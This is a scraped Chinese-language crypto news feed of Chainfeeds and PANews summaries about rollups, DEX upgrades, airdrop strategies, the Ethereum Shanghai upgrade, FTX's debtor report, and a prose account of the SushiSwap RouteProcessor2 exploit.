优化的委托解决方案，允许人们委托访问权限，并需要更具创造性的标准决策。总之，Wave Mint 是建立持有者网络、实现长期健康稳定社区的有力方法。 内容来源  ( 6 min )
    【英文长推】解析 zkSync Era 上线以来用户和采用指标数据
    Chainfeeds 导读： Aurum Crypto 研究员 Zero Knowledge 通过 Dune 和 DefiLlama 仪表盘数据解读 zkSync Era 上线以来的用户和采用指标，数据显示 zkSync Era TVL 已经超过 1.6 亿美元，主要应用为 SyncSwap ，TVL 为 3600 万美元。 文章来源： https://twitter.com/expctchaos/status/1645033884999118849 文章作者： Zero Knowledge 观点： Zero Knowledge：zkSync 自推出以来经历了相当大的炒作，超过 33.5 万个钱包将超过 9.4 万美元的 ETH 存入 zk-rollup。其 TVL 已超过 1.6 亿美元，远超唯一上线主网的 zkEVM 竞争对手 Polygon（110 万美元）。用户中估计有大量的空投农民，一些桥接统计数据也表明：54.2% 的用户仅桥接 0-100 美元；85.5% 的用户仅桥接一次。大多数用户（90%）只桥接过一天，另有 8.1% 的人在两天内活跃。到目前为止，只有 1.9% 的用户经常使用该跨链桥。【原文为英文】 内容来源 Zero Knowledge：查看交易活动，可以发现 58.3% 的用户到目前为止进行了不到 10 次交易（按钱包随机数衡量）。28% 的人进行了 10-100 笔交易，13.7% 的人是实际的大用户，在两周内进行了超过 100 笔交易。在生态系统方面，用户可以使用各种 dApp，包括从 DEX 和借贷到衍生品。主要应用是 SyncSwap，TVL 为 3600 万美元，其次是 Mute 1500 万美元 和 Velocore 1400 万美元，尤其是 $VC 目前似乎势头强劲。【原文为英文】 内容来源  ( 2 min )
    【英文长推】共享排序器简要概述：如何提高扛审查性的同时，保持 Rollup 间无缝互操作性？
    Chainfeeds 导读： 什么是共享排序器？和中心化及去中心化排序器相比，有何优势？同为共享排序器项目，Astria 和 Espresso Systems 又存在哪些区别？加密研究员 Shivani 带你一探究竟。 文章来源： https://twitter.com/0xShivani/status/1644382534468530176 文章作者： Shivani 观点： Shivani：中心化排序器虽然容易实现，但其性能并不理想，而去中心化排序器具有更好的 Rollup 鲁棒性，但可能会存在延迟等方面的权衡。而共享排序器则让 Rollup 无需担心管理验证器集问题的同时，还提供了更快的交易和跨链原子性。且随着越来越多的链加入共享排序器，会随着时间的推移，使得其变得更优价值。用户享受快速预先确认优势，而 Rollup 可以通过选择促进竞争。【原文为英文】 内容来源 Shivani：Astria 和 Espresso Systems 都是共享排序器项目，它们将交易执行和排序隔离开，但在设计和技术方面有所不同。Espresso Systems 旨在通过 Eigenlayer 支持以太坊生态系统的 Rollup，构建在 HotShot 共识协议上，该协议优先考虑快速最终性而非动态可用性，并提供数据可用性层。而 Astria 节点可以保持轻量级，甚至可以水平扩展，并利用 Celestia 作为 DA 层。【原文为英文】 内容来源  ( 2 min )
    【英文】Web3 Passport 堆栈指南：不仅仅只是交易和余额列表
    Chainfeeds 导读： 加密研究员 Crypblizz 在对 Web3 Passport 测试及研究后，将 Web3 Passport 堆栈分为 Onboarding、Actions 及其他三个部分，并就具体组件和工具进行了演示解析。 文章来源： https://mirror.xyz/crypblizz.eth/3rUdZbcRdrcfONqoD4dNWujrOAB6VuG9GMSmoMjqdjk 文章作者： Tom Terado 观点： Tom Terado：Onboarding：1）助记词：对于准备进入 Web3 领域的用户而言最困难的部分，因为其和电子邮件注册或谷歌登陆等用户行为不同，使用账户抽象和 MPC 基础设施有助于改善这一现象；2）认证：dApp to Wallet 是最常见的认证方式，例如通过 WalletConnect 促进 dApp 和移动 Passport 之间的认证，而 Wallet to Wallet 则允许用户将所有钱包连接为一个。【原文为英文】 内容来源 Tom Terado：Actions：1）大部分 Passport 都能够展示账户余额，使用 Zerion API 等基础设施可以轻松地帮助查看交易历史和投资组合数据；2）随着 UniSwap 及 DeFi 夏天的出现，互换、出入金、质押及跨链等功能开始出现；3）随着 NFT 的发展，Passport 开始展示 NFT，类似 Reservior 的协议对于推动其发展非常有用；4）域名及去中心化身份，例如 ENS 及 Lens；5）RPC：例如 Infura、Alchemy、QuickNode 和 Pokt；6）浏览器：胖钱包理论；7）多链用户体验：随着 Passport 发展的改善和更多互操作性的产生，我们可以设想在一个 Passport 中管理几个 L1/L2 Passport 的市场。【原文为英文】 内容来源 Tom Terado：其他：1）安全性：硬件钱包安全性更好，Ledger 在移动兼容性方面做的非常好，多签钱包是安全的另一种选择，社会恢复也是一个有趣的安全功能；2）社交：Web3 社交网络在崛起，例如 Lens Protocol、Farcaster 和 xBackPack；3）信息传递：WalletConnect、XMTP、Push、Notifi 和 Whereever 等协议正在推动这一领域的发展；4）账户抽象：例如 SoulWallet 和 PatchWallet 正在推动该领域发展；5）MPC 钱包：使用复杂加密技术保护加密资产，消除了单点故障风险，正通过 Web3Auth、Intu、Lit Protocol 等项目被带入主流。【原文为英文】 内容来源  ( 21 min )
    【英文长推】速览 DEX 领域创新发展：Trader Joe Liquidity Book V2.1、PancakeSwap V3 及 Camelot V2
    Chainfeeds 导读： 过去几周内，除了空投热潮，DEX 领域也出现了创新热潮，Trader Joe、PancakeSwap 及 Camelot 纷纷宣布推出新版本。加密研究员 The DeFi Investor 对新版本的具体创新进行了分析解读，并表示未来 3 至 4 年内，我们将拥有一个年收入超过 50 亿美元的去中心化交易所。 文章来源： https://twitter.com/TheDeFinvestor/status/1644998590027403269 文章作者： The DeFi Investor 观点： The DeFi Investor：去中心化交易协议 Trader Joe 一开始是一个 UniV2 分叉，现已推出集中性 AMM Liquidity Book V2.1。它没有像 Uniswap V3 那样将流动性集中在价格范围内，而是选择将其集中在价格区间，这能够让 AMM 资本效率大幅提升，且其还在新的 AMM 中实施了动态费用策略以减轻无常损失。【原文为英文】 内容来源 The DeFi Investor：PancakeSwap 几天前在以太坊和 BNB Chain 上推出了 V3 版本，提供与 UniV3 相同的资本效率及 4 个交易费用层级。此外，PancakeSwap V3 版本还推出了改进的投资回报率计算器。总体而言，Pancakeswap V3 虽然没有改变游戏规则，但它为流动性提供者提供了更好的用户体验。【原文为英文】 内容来源 The DeFi Investor：Arbitrum 生态 DEX Camelot 也宣布将于 4 月 8 日开始启动 V2，此次升级的特点是集中流动性、UI 修改及集中流动性高效挖矿。 Camelot V2 并不是 UniV3 的分叉，而是利用了 Algebra V2 AMM。与 Trader Joe 相同，Camelot 将通过动态费用缓解无常损失。此外，Camelot 为了抽象出 UniV3 的复杂性，AMM 将被整合至其 spNFT 和 Nitro 资金池基础设施中。【原文为英文】 内容来源  ( 2 min )
    $LINK 不再是 memecoin？解读 Chainlink 2.0 的代币价值捕获以及 Build 计划
    Chainfeeds 导读： 此前 $LINK 在很大程度上就是个 memecoin，几乎没有代币价值积累，但 Chainlink 2.0 可能会彻底改变这种现状。加密 KOL Young 通过 Chainlink 与 GMX 的合作，撰推解读 Chainlink 2.0 的代币价值捕获，并介绍了 Chainlink 的 Build 计划。 文章来源： https://twitter.com/CryptoYoung2000/status/1645073074444963843 文章作者： Cryptoyoung.eth 观点： Cryptoyoung.eth：2.0 中明确强化了 $LINK 的代币价值捕获：1）增加协议收入；2）降低运营成本；3）通过质押实现协议经济安全。例如 Chainlink 与 GMX 合作的新版预言机，将会提供更精确，低延迟的喂价，提高协议运行效率。对 GMX 来说，提高用户交易信心，降低费率，优化用户体验；对 Chainlink 来说就大有裨益了，（提案中）GMX 产生的交易费用 1.2%，会直接分发给 Chainlink，而 GMX 每周的交易费在 400 万美金。 内容来源 Cryptoyoung.eth：如果头部 DeFi 协议都需要支付 1.2% 给 Chainlink，会不会别的 DeFi 协议也会被卷着加入，如果会，这个费率可观得可以用恐怖来形容。支付给 Chainlink 的费率也会有部分流入给质押人，直接增加 $LINK 的代币价值捕获。 内容来源 Cryptoyoung.eth：Build 计划：采用预言机的项目将支付其本地代币供应的重要部分（3-5％），以换取预言机服务和技术支持。这些代币可以流向 Chainlink 生态系统中的服务提供商，如质押者。也就是说作为一个 $LINK 质押者，这实际上意味着除了 $LINK 奖励之外，你还有机会从 Chainlink 生态系统中的项目中赚取一篮子代币。你现在能通过质押 $LINK 拿到一些极具潜力的项目 Token。 内容来源  ( 2 min )
    从分布式应用视角分析 Web3：如何利用已有的去中心化基础设施解决应用的分布式和去中心化问题
    Chainfeeds 导读： Rooch Network 首席架构师 Jolestar 此前在以太坊上海升级圆桌会议谈到从分布式应用视角的 Web3，并撰推发文从 Web2 应用实现分布式的复杂度出发，扩展了此分析视角，解读如何利用已有的去中心化基础设施，来解决应用的分布式以及去中心化难题，并总结 Rooch 以及其他可行的解决方案。 文章来源： https://twitter.com/jolestar/status/1644647560764850178 文章作者： jolestar 观点： jolestar：在分布式应用中，一般会依赖 Paxos 或者 Raft 这样的分布式共识基础设施，来解决一些分布式难题，比如全局的元数据存储，全局锁，服务发现，事件订阅等，我们并不会把所有的数据都存在共识系统中。Web2 应用实现分布式的复杂度在于：Web2 应用是围绕着一个「活」数据库构建出来的，很难通过一个统一的入口来记录所有系统状态的修改。即便是拦截了所有的状态操作，重新执行的时候也很难保证执行的结果是一致的。 内容来源 jolestar：如何利用已有的去中心化基础设施，来解决应用的分布式以及去中心化难题？一个去中心化应用的潜台词是它首先已经是一个分布式应用。要实现去中心化，应用程序和数据必须是公开的，并且需要建立一个去中心化日志系统来确保交易顺序和数据可用性。去中心化日志系统是定序器（Sequencer）和数据可用层（DA）的组合，它们负责确保交易顺序和数据的可用性。为了保证交易状态变化的正确性，可以使用欺诈证明的挑战机制或 ZK 有效证明。 内容来源 jolestar：Rooch 提供了一种解决方案，使用 Move 语言和容器，以及一个 ETH Layer2 网络。Rooch 的容器主机托管了 DA、其他链的结算和仲裁层交互，实现了应用的去中心化。除此之外，还有其他方法来构建去中心化应用，即可构建联邦模型的改进和去中心化的服务发现。从这个角度思考，构建应用的时候，我们就会着眼于解决应用的问题，应用发展的不同阶段也可以采用不同的方案。随着技术的发展，我们期待一个以应用为中心的 Web3 舞台的开幕。 内容来源  ( 2 min )
    【英文长推】盘点 Arbitum 近期生态动态：Arbitrum Orbit 发布、Radiant V2 版本上线......
    Chainfeeds 导读： 距 Arbitrum 空投已过去快一个月，加密研究员 The DeFi Investor 盘点了 Arbitrum 生态系统最近发展的新动态。 文章来源： https://twitter.com/TheDeFinvestor/status/1643249161821888513 文章作者： The DeFi Investor 观点： The DeFi Investor：1）Arbitrum Orbit 发布，Arbitrum 发布 $ARB 时也宣布了 Arbitrum Orbit 的发布，Orbit 是一个用于创建基于 Arbitrum Rollup 的 L3 框架，继承了 Arbitrum 的安全性，但更具扩展性，主要针对需要高吞吐量的游戏和 DeFi 应用。2）Radiant 的 V2 版本已上线，利用 LayerZero 技术实现了跨链借贷，并且具有更加用户友好的界面。【原文为英文】 内容来源 The DeFi Investor：3）Vela Exchange 计划于 5 月正式发布，将支持多链存款、上线 Vela OTC、上线一键交易功能、图表改进等。Vela OTC 将支持交易大量代币，并且不会产生很大的滑点损失，正式发布还会增加新的货币对、交易竞赛和基础设施升级等。4）流动性激励协议服务商 Fluidity 已在 Arbitrum 上启动，用户在 Fluidity 应用上打包其稳定币时，会自动借给 AAVE 以收取收益，每次进行交易时，产生的收益都会与用户共享。【原文为英文】 内容来源 The DeFi Investor：5）链上分析平台 Arkham 增加了对 Arbitrum 的支持，允许用户按日期、目标地址、代币等过滤交易，可以用它来追踪钱包地址。6）收益交易协议 Pendle 已在 Arbitrum 上推出，可以交易收益和以折扣价购买资产，目前已上线 3 个市场，分别是 GMX 的 GLP、Gains Network 的 gDAI 和 Stargate 的 USDT。【原文为英文】 内容来源 The DeFi Investor：7）Dopex 发布期权 Scalps 测试版，允许交易者以非常高的杠杆率开立短期头寸以换取溢价，目前正在进行交易竞赛。8）Camelot 宣布向 $xGRAIL 持有者提供独家优惠，Camelot 在 Arbitrum 上以其发射器而闻名，随着其代币经济学改进后，每个代币的发射都会为 xGRAIL 持有者带来益处，例如限定销售、折扣和空投的白名单。【原文为英文】 内容来源  ( 2 min )
    【英文长推】上海升级到来，对市场的影响几何？
    Chainfeeds 导读： 4 月 12 号将完成以太坊上海升级，加密研究员 ono ᵍᵐ 撰推总结上海升级以太坊提取的数据及信息，分析其对市场造成的影响，认为在升级后会立即看到一些抛压，但长期来看利好以太坊的未来发展。但还有多方观点认为 LSD 赛道会在升级后面临增长阻碍，注定长期表现不及 ETH。 文章来源： https://twitter.com/not_onogiri/status/1645073603489304588 文章作者： ono ᵍᵐ 观点： ono ᵍᵐ：上海升级将允许验证者使用 EIP-4895 提取质押的 ETH 和奖励，意味着一些验证者可以提取已锁定超过 2 年的 ETH。目前，占总量的 15% （1800 万 ETH）已被质押，其中只有 30% 是浮盈的。在发行当天，ETH 的交易价格约为 600 美元，大约 80% 的质押 ETH 价格大于 1200 美元。【原文为英文】 内容来源 ono ᵍᵐ：即使所有质押者都想提取大额资金，也有一个退出队列限制了每天可以取消质押的 ETH 数量。如果 50% 的验证者想要退出，这个队列至少需要 200 天。质押者可以部分撤回或者完全撤回质押的 ETH。非流动性质押者（38%）的资金可能被锁定更长时间，再加上 56% 的利润，他们最有可能出售。流动性质押者已经是流动的了，所以在一般情况下不太可能卖。【原文为英文】 内容来源 ono ᵍᵐ：将如何影响市场？退出需要时间，新的验证者可能会涌入，大多数质押者具有流动性，不太可能出售，所以流动性解锁似乎不太可能对短期市场产生巨大影响。然而还有其他因素需要考虑，例如来自交易员的抢先抛压和「卖出新闻」的行动。我们可能会在升级后立刻看到一些抛压，但是升级利好以太坊的长期未来，包括流动性增加和质押 ETH 的用例增加，也可能看到升级后对流动性质押解决方案的需求增加。【原文为英文】 内容来源 Hal Press（North Rock Digital）：从长远来看，我不喜欢 LSD 的曝光。我不认为质押参与度会在上海升级之后快速增长，也不认为我们会达到那么高的水平。从长远来看，随着越来越多的参与者进入这个领域，流动性变得越来越不那么稳固，整个赛道将面临费用压缩和市场份额下降。一旦质押参与率达到顶峰，该赛道将不再有任何增长动力，每个玩家的 ETH 收益将开始下降。在这一点上，人们会意识到它们都被严重高估了，并且注定长期表现不及 ETH。上海升级之后没有更多即将到来的催化剂，我认为没有人会等到升级后才参与该赛道。【原文为英文】 内容来源 Goblin King of the scam bots：除了最高质押率，我认为 hal 实际上是正确的，但观点早了 10 年。虽然根据他们的结论得出观点本质上并不是一件坏事，但我意识到我错过了实际上非常适合我的「剧本」，我应该采取，而不是因为未来的可能性而否定它。【原文为英文】 内容来源 DiscusFish：有句话不知道当讲不当讲，还是提醒下大家好了。下周就要上海升级了，2 年多的 eth staking 就要能提现了，大家有没有想过一个问题：这些 staking 节点的提现私钥有多少已经泄漏了？对于机构，尤其是提供中心化 staking 的机构，需要 reviewer 下私钥保管方式及相关有权限的人员状态，检查下服务器日志，监控后续提现状态，制定紧急事件预案。 内容来源 MMT 实习生：MMT 实习生：上海升级质押解锁大多直觉看成利空，稍微好点说短期利空长期利多，但也是错的。因为短期也是中性利好，投机讲究抢跑，重要的是预期、预期、预期。因为之前不能提取有解锁抛压预期，解锁了反而没抛压预期了。具体 eth 提前反应了上涨，当然因为 lsd 及衍生品刚加杠杆，也难暴拉，反而继续炒作 $ldo $ssv $gmx。 内容来源  ( 2 min )
    【英文长推】7 个 Layer1 项目空投策略探索：Sui、Celestia、Shardeum......
    Chainfeeds 导读： Arbitrum 空投后，市场关注点转移至了 Layer2 项目，但其实也有很多 Layer1 项目值得关注。加密 KOL Airdrop Official 盘点了市场上值得关注的 7 个 Layer1 项目，并对其空投策略进行了探索解析。 文章来源： https://twitter.com/its_airdrop/status/1645049805163339777 文章作者： Airdrop Official 观点： Airdrop Official：1）Sui：专注于并行处理的可扩展性，估值 20 亿美元，其代币 SUI 将被用于 Gas、质押及治理。可以通过尝试使用测试网以获得空投机会；2）Celestia：模块化区块链，重点是构建一个可扩展的数据可用性层，估值 10 亿美元。目前其尚未推出代币，如果错过了其激励测试网，或许可以通过在讨论区活跃及在公共测试网上运行轻型节点来获得空投机会；【原文为英文】 内容来源 Airdrop Official：3）Shardeum：基于 EVM 的 Layer1，使用动态状态分片维持可扩展性，目前已经完成了 1820 万美元种子轮融资，其代币 SHM 总供应量为 50800 万枚，其中 5% 将用于空投，唯一获得空投的途径是使用测试网；4）Espresso：使用 ZK Rollup 技术的 Layer1，该项目仍处于非常早期的发展阶段，目前唯一互动方式是尝试使用测试网；【原文为英文】 内容来源 Airdrop Official：5） Lamina1：基于 Avalanche 的一个分叉项目，主要专注于元宇宙，近期在测试网上推出了 NFT Playground，目前可以通过保持活跃及参与测试网获得空投机会；6）Venom：专注于更高的 TPS 及可扩展性，已经确认推出原生代币 VENOM，22% 的供应量将留给社区；7）Fuel：模块化执行层，近期完成了 8000 万美元融资，目前还未确认是否会推出原生代币，Beta-2 测试网已经上线。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读 zkSync 生态发展三个阶段：有何进展？哪些项目值得关注？
    Chainfeeds 导读： 新资金正在涌入 zkSync，这也会促进其生态发展。加密研究员 Ignas 将 zkSync 生态发展划分为三个阶段，并对各个阶段值得关注的项目及阶段意义进行了分析解读。 文章来源： https://twitter.com/DefiIgnas/status/1644968486895243265 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：第一阶段是 DEX 战争，通过 AMM 吸引流动性至关重要，包括 SyncSwap、Mute、 Velocore、SpaceFi 及 GemSwap。我认为 SpaceFi 和 GemSwap 不会成为 zkSync 的流动资金层，而 GemSwap 的代币经济学中 80% 的锁仓挖矿奖励并不可取。因此我的猜测是 Velocore、SyncSwap 或 Mute 的表现会更好。【原文为英文】 内容来源 Ignas | DeFi Research：第二阶段是 DeFi 生态系统的扩展，涉及到借贷平台、合成资产及稳定币等的发展，目前这些新协议大部分都是分叉项目，创新不多。第二阶段可以关注的项目包括 Nexon Finance、Orbiter Finance、ZKEX 及 Fringe Finance。第三阶段及以后是真正需要创新的时候，zkSync 需要一个杀手级 dApp 推动其 DeFi 生态发展。而这个阶段进行空投是具有意义的，可以进一步引导增长。【原文为英文】 内容来源  ( 2 min )
    【英文长推】全面解读 Redacted Cartel 推出的基于以太坊的超额抵押稳定币 DINERO：有何优势及发展潜力？
    Chainfeeds 导读： DeFi 项目 Redacted Cartel（BTRFLY）发布了基于以太坊的超额抵押稳定币 DINERO 白皮书。根据白皮书，DINERO 旨在提供对以太坊区块空间访问权限为稳定币提供新用例。加密研究员 francesco 对其推出动机、运作机制及未来发展进行了全面解读。 文章来源： https://twitter.com/francescoglt/status/1645064063372914691 文章作者： francesco 观点： francesco：Dinero 的推出动机或与以下方面有关：减少对第三方及以太坊主网的依赖、使用更多的 L1 及 L2 及将国库资金分配给可持续战略。Dinero 通过引入「优质区块空间市场」实现为用户提供一个公共与无需许可的 RPC、以去中心化稳定币 DINERO 作为以太坊交换媒介与 ETH 流动性质押代币 Pirex ETH （pxETH）。【原文为英文】 内容来源 francesco：Dinero 协议最终的目标是使用 ETH 抵押品为 Redacted Relayer Premium RPC 提供动力，有助于保护协议用户免受 MEV 攻击。Redacted RPC 的主要价值主张是允许「元交易」，用户可以决定使用哪种代币支付 Gas 费用。Redacted Relayer 将由质押为 pxETH 的 ETH 提供动力。DINERO 是一个抵押债务头寸（CDP）稳定币（类似于 DAI），将由 pxETH 和 ETH 支持，用户能够通过两个金库来铸造 DINERO。此外，团队预计在挂钩稳定模块（PSM）中使用 USDC 作为抵押品。【原文为英文】 内容来源 francesco：Redacted 认知到了对其他协议的依赖对于协议发展是不可持续的，并选择利用自己的优势重塑自己的财政及治理能力。Redacted 通过从 DINERO 利率和继电器费用中获得收入维持协议发展。此外， BTRFLY 用户可能会通过向持有人和承租人分配收入受益。未来，我更关注的是 Redacted 如何从其 PSM 中转移出来。【原文为英文】 内容来源  ( 2 min )
    【英文】「黑暗森林」之旅笔记：浅析 MEV 概念、当前状态及市场特点
    Chainfeeds 导读： 本篇文章是对 Flashbots 战略负责人 Hasu 和 Blockworks 的 Mippo 共同主持的 Bell Curve 的总结笔记，主要内容包括 MEV 是什么、L1 和模块化中的 MEV 现状、延迟的作用及 Solana 生态和 Cosmos 生态 MEV 特点等。 文章来源： https://lethang.substack.com/p/mev-a-journey-into-the-dark-forest 文章作者： Le Thang 观点： Le Thang：1）完美的 MEV 解决方案应该包括以下特点：避免中心化、最大限度减少不良 MEV、将 MEV 归还给协议、具有竞争性及隐私性及将 MEV 重新分配给用户；2）L1 的 MEV 主要是通过验证者、MEV 搜索者及其他参与者提取，而模块化世界中的 MEV 被计入执行层，且当 L2 切换至去中心化排序器时，会面临 MEV 提取低效率的问题；【原文为英文】 内容来源 Le Thang：3）交易公司需要微秒级的延迟，可能成为区块构建者。如果我们把延迟的影响降至最低，竞争将会转向价格领域；4）交易按接收顺序排序会更公平；5）Solana 生态的 MEV 过于中心化及低延迟，验证者具有很大优势，但对用户不利。而 Cosmos 生态的 MEV 有趣且非常创新，例如 Osmosis 和 Skip Protocol 通过区块构建和搜索，及 protorev 模块来捕获 MEV。【原文为英文】 内容来源  ( 7 min )
    彭博分析师：灰度胜诉 SEC 的可能性达到 70%
    彭博分析师：灰度胜诉 SEC 的可能性达到 70% 据 Live Bitcoin News 消息，针对灰度（Grayscale）与 SEC 的诉讼，彭博社高级诉讼分析师 Elliot Stein 表示，「我们认为 SEC 有 60% 的支持率，但我们现在认为灰度有 70% 的可能性获胜」。 Grayscale 首席执行官 Michael Sonnenshein 表示，他预计其公司对美国证券交易委员会（SEC）拒绝比特币现货 ETF 的诉讼可能会在今年第三季度作出裁决。尽管有所有利好消息，Stein 提到在法庭上获胜并不一定意味着 ETF 申请将获得批准。他评论说：「最有可能的是，法院会将案件发回美国证券交易委员会，让该机构重新审视其推理，包括可能更好地区分先前批准基于期货的比特币 ETF 的命令中的语言和灰度拒绝命令中的措辞。这可能会拖得更久」。 内容来源  ( 20 min )
    美联储：FedNow 与数字货币无关，尚未决定发行 CBDC
    美联储：FedNow 与数字货币无关，尚未决定发行 CBDC 美联储在其官网解答了关于实时支付系统 FedNow 的常见问题，并表示，FedNow 不是 CBDC，FedNow 与数字货币无关。FedNow 是美联储为银行和信用合作社提供的一项支付服务。它类似于美联储的其他支付服务，如 Fedwire 和 FedACH。FedNow 服务既不是一种货币形式，也不是消除包括现金在内的任何支付形式的一步。FedNow 服务是美联储提供的即时支付服务，将于 2023 年 7 月推出。美联储尚未决定发行 CBDC。如果没有国会和行政部门的明确支持，最好是以具体授权法律的形式，美联储也不会发行 CBDC。CBDC 不会取代现金或其他支付方式。 内容来源  ( 5 min )
    Layer2 ZK-ZKVM 项目 Ola 发布第二版技术白皮书，将于年内上线测试网
    Layer2 ZK-ZKVM 项目 Ola 发布第二版技术白皮书，将于年内上线测试网 可编程性隐私和扩容方案 Ola 发布第二版技术白皮书，致力于构建一个集隐私、高性能和可编程性于一体的 Layer 2 平台。在更新版本中，最重要的是基础模块 OlaVM 的高性能 ZKVM 的设计与构建，以及开发零知识友好型智能合约语言 Ola-lang 和隐私设计架构。此外，Ola 还添加了更多关于 Ola 如何促进灵活的数据共享和用户数据所有权、提供对开发人员友好的语言和工具套件、实现更好的语言可扩展性等等的详细信息。与隐私相关的实施细节将在测试网上线后，展示于即将发布的第三份白皮书中。 内容来源  ( 2 min )
    Arbitrum 社区发起将 7 亿枚 ARB 返还给 DAO 金库的温度检查投票
    Arbitrum 社区发起将 7 亿枚 ARB 返还给 DAO 金库的温度检查投票 Arbitrum 社区发起 AIP 1.05 提案温度检查投票，提议 Arbitrum 基金会将 7 亿枚 ARB 返还给 DAO 金库，并使用此前出售 1000 万枚 ARB 获得的法币回购 ARB。此外还将披露与 Wintermute 的做市协议条款。此次投票将于 4 月 15 日结束。 内容来源 观点： Eric Wall：从一个局外人的角度来看，这个温度检查投票也是测试我和其他人谈论的「DAO 控制」是否是一个好方法。作为一名控制 442000 ARB 代币的代表，我可能不会投反对票。【原文为英文】 内容来源
    NFT 游戏平台 Gameta 完成 500 万美元种子轮融资
    NFT 游戏平台 Gameta 完成 500 万美元种子轮融资 NFT 游戏平台 Gameta 完成 500 万美元种子轮融资，Binance Labs、Huobi Ventures、Arcane Capital、Ceras Ventures、StartVC、Gate.io Labs、W3Coins、Redline Dao、DefinanceX、Rana Capital 和 Infinity Labs 参投。所筹资金将用于加快 Gameta 游戏及生态系统的发展。 根据介绍，Gameta 自 2022 年推出以来已经获得了超 700 万名链上用户，其游戏已经构建了一个 NFT 生态系统，用户可以使用 Hippo Club NFT 进行游戏及社交，并通过易于使用的 NFT 和资产管理系统获得奖励。 内容来源
    慢雾：SushiSwap 攻击者通过构造恶意 route 参数窃取已对 RouteProcessor2 授权用户的代币
    慢雾：SushiSwap 攻击者通过构造恶意 route 参数窃取已对 RouteProcessor2 授权用户的代币 慢雾发布推特称，SushiSwap outeProcessor2 已被攻击，请用户及时撤销授权。慢雾安全团队表示，该攻击根本原因是 ProcessRoute 未对用户提供的 route 参数进行任何检查，从而允许攻击者利用此问题构造一个恶意 route 参数使合约读取的 Pool 是由攻击者创建的。由于合约中没有检查 Pool 的合法性，lastCalledPool 变量被直接设置为 Pool 并调用了 Pool 的 swap 函数。恶意 Pool 在其 swap 函数中回调了 RouteProcessor2 的 uniswapV3SwapCallback 函数，由于 lastCalledPool 变量已被设置为 Pool，因此 uniswapV3SwapCallback 中对 msg.sender 的检查被绕过。攻击者利用此问题在恶意 Pool 回调 uniswapV3SwapCallback 函数时构造了代币转移的参数，以窃取其他已对 RouteProcessor2 授权的用户的代币。幸运的是部分用户资金已被白帽抢跑，有望收回。 内容来源 观点： MetaSleuth：SushiSwap RouteProcessor2 被攻击了，Frog Nation 前 CFO 0xSifu 因此损失了约 1800 枚 ETH。我们追踪了被盗资金：第一个攻击者（0x9deff）已经归还了 90 枚 ETH。BlockSec 追回了 100 枚 ETH，并将很快归还。大部分被盗资金都流向了 beaverbuild、rsync-builder 和 Lido。【原文为英文】 内容来源 Jared Gray（SushiSwap 首席执行官）：已确认从 CoffeeBabe 追回了超 300 枚 ETH 的 Sifu 被盗资金，正在就另外 700 枚 ETH 的问题与 Lido 团队联系。【原文为英文】 内容来源  ( 2 min )

  • Open

    Smilee Finance：DeFi AMM无常损失的全新期权解决方案
    Smilee Finance：DeFi AMM无常损失的全新期权解决方案 – 深潮TechFlow 撰写：Leftside Emiri Read the full entry  ( 4 min )
    Smilee Finance：DeFi AMM无常损失的全新期权解决方案
    Smilee Finance：DeFi AMM无常损失的全新期权解决方案 – 深潮TechFlow 撰写：Leftside Emiri Read the full entry  ( 4 min )

  • Open

    FTX债务人发布第一份报告，讨论前管理层的控制失误
    PANews 4月10日消息，FTX及其债务人发布了第一份报告，确定并讨论了FTX集团前管理层在关键领域的的控制失误，包括管理和治理、财务和会计、数字资产管理、信息安全和网络安全。FTX信任首席执行官 John J. Ray III 表示，我们发现 FTX Group 未能在对保护现金和加密资产至关重要的领域实施适当控制。比如FTX几乎将所有的加密资产都保存在热钱包中，这些热钱包的私钥都保存在亚马逊云服务AWS中。FTX Group 被一小群人严格控制，他们谎称负责任地管理 FTX Group，但实际上对建立监督或实施适当的控制框架并不关心。我们正在继续努力审查导致FTX崩溃的事件，并帮助债权人恢复尽可能多的资产。 根据该报告，2019年7月31日，FTX前工程总监Nishad Singh更改了代码库，允许Alameda从FTX提取无限量的加密资产；一周后对其进行了修改，使Alameda免于自动清算，FTX集团将几乎所有加密资产都保存在热钱包中（SBF谎称使用冷钱包）。 目前债权人已收回并保管超过14亿美元的数字资产，并已确定另外17亿美元的数字资产并正在追回过程中（FTX的总负债约为120亿美元）。  ( 1 min )
    美联储：FedNow与数字货币无关，尚未决定发行CBDC
    PANews 4月10日消息，美联储在官网发文解答了关于实时支付系统FedNow的常见问题。美联储表示，FedNow不是CBDC，FedNow与数字货币无关。FedNow是美联储为银行和信用合作社提供的一项支付服务。它类似于美联储的其他支付服务，如Fedwire和FedACH。FedNow服务既不是一种货币形式，也不是消除包括现金在内的任何支付形式的一步。FedNow服务是美联储提供的即时支付服务，于2023年7月推出。美联储尚未决定发行CBDC。如果没有国会和行政部门的明确支持，最好是以具体授权法律的形式，美联储也不会发行CBDC。CBDC不会取代现金或其他支付方式。  ( 1 min )
    一周预告 | 以太坊主网将于4月13日进行上海升级；鲸探将发售NBA可变化数字藏品
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 项目动态： ENS基金会新董事提名窗口将于4月10日开放 ENS基金会新董事将在提名程序和选举后任命，ENS基金会将于4月10日17:00开放提名窗口，并于4月30日17:00关闭。5月1日至5日进行选举，选举结果公布后，将向ENS基金会发出任命新董事的通知。 代币解锁： 1250万枚LOOKS（价值约合1,825,538美元）将于4月10日解锁 项目动态： Cool Cats游戏化故事体验Journey 5的加入窗口将于4月11日截止 NFT项目Cool Cats已正式上线Journey 5，为Cool Cats NFT持有者提供互动的、游戏化的讲故事体验，包括谜题、谜语等，玩家可以解锁新故事关卡并获得奖励。Journey 5的加入窗口只有96小时，截止日期北京时间4月11日凌晨3点。“Journeys”是一个游戏化的故事讲述项目， Cool Cats的游戏化NFT生态系统Cooltopia上为猫和宠物提供软质押机制，可以用特征、数字/IRL奖励等来奖励参与度最高的持有者。 Facebook、Instagram宣布将于4月11日起结束对数字收藏品的支持 Facebook、Instagram在其帮助中心发布公告称，将逐步结束对数字收藏品的支持。这些变更将于2023年4月11日起开始生效，用户第三方电子钱包内容不会受到影响。 他们将不再与用户的第三方电子钱包绑定或将用户的帐户与第三方电子钱包关联，用户将无法再在关联的选项卡中查看自己的数字收藏品或管理第三方电子钱包绑定设置。用户将无法再访问或下载与收藏品相关的个人信息。如果想要下载个人信息，须于2023年4月11日前提交申请。 Reddit已在Polygon部署第三代 Avatars 合约，计划于下周发布 Reddit 已在 Polygon 区块链上部署了其基于区块链的第三代 NFT Gen 3 